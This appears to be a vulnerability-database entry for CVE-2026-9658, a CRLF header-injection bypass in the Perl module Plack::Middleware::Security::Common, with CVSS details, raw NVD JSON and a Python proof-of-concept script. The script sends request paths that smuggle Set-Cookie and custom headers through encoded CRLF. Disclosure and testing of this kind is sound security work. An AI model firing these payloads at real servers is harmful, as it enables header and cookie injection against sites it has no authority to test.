Security Vulnerability Report
中文
CVE-2026-9658 CVSS 7.3 HIGH

CVE-2026-9658

Published: 2026-05-28 13:16:25
Last Modified: 2026-06-01 19:16:56
Source: 9b29abf9-4ab0-4765-b253-1875cd9b441e

Description

Plack::Middleware::Security::Common versions before 0.13.1 for Perl did not block header injections in request paths. The header injection rule was ineffective at blocking header injections in the request paths unless they were double-encoded, for example, GET /path\r\nHTTP/1.1\r\nHost: secret.example.com Note that it is unclear whether request paths with CRLF followed by additional headers would be blocked by reverse proxies, or how they would be processed by Plack-based servers.

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Plack::Middleware::Security::Common < 0.13.1
Plack::Middleware::Security::Common 0.13.0及之前版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-9658 PoC - HTTP Header Injection in Plack::Middleware::Security::Common # Affected: Plack::Middleware::Security::Common < 0.13.1 import requests import urllib.parse target_url = "http://target-server.com" # Malicious request path with CRLF injection to add extra headers # The backslash-r and backslash-n represent CR and LF characters malicious_path = "/path%0d%0aSet-Cookie:%20evil=value%0d%0aX-Injected-Header:%20test" # Alternative: Direct CRLF characters (may need URL encoding) # malicious_path = "/path\r\nSet-Cookie: evil=value\r\nX-Injected-Header: test" full_url = f"{target_url}{malicious_path}" print(f"[*] Sending malicious request to: {full_url}") print(f"[*] Target: {target_url}") print(f"[*] Malicious path: {malicious_path}") try: # Send the malicious request response = requests.get(full_url, timeout=10) print(f"\n[+] Response Status: {response.status_code}") print(f"[+] Response Headers:") for key, value in response.headers.items(): print(f" {key}: {value}") # Check if injected headers were processed if 'X-Injected-Header' in response.headers or 'Set-Cookie' in response.headers: print("\n[!] VULNERABLE: Header injection successful!") else: print("\n[*] No obvious header injection detected (may require further analysis)") except requests.exceptions.RequestException as e: print(f"\n[-] Request failed: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9658", "sourceIdentifier": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "published": "2026-05-28T13:16:25.067", "lastModified": "2026-06-01T19:16:56.177", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Plack::Middleware::Security::Common versions before 0.13.1 for Perl did not block header injections in request paths.\n\nThe header injection rule was ineffective at blocking header injections in the request paths unless they were double-encoded, for example,\n\n GET /path\\r\\nHTTP/1.1\\r\\nHost: secret.example.com\n\nNote that it is unclear whether request paths with CRLF followed by additional headers would be blocked by reverse proxies, or how they would be processed by Plack-based servers."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}]}, "weaknesses": [{"source": "9b29abf9-4ab0-4765-b253-1875cd9b441e", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-113"}, {"lang": "en", "value": "CWE-790"}]}], "references": [{"url": "https://metacpan.org/release/RRWO/Plack-Middleware-Security-Simple-v0.13.1/changes", "source": "9b29abf9-4ab0-4765-b253-1875cd9b441e"}, {"url": "http://www.openwall.com/lists/oss-security/2026/05/28/9", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}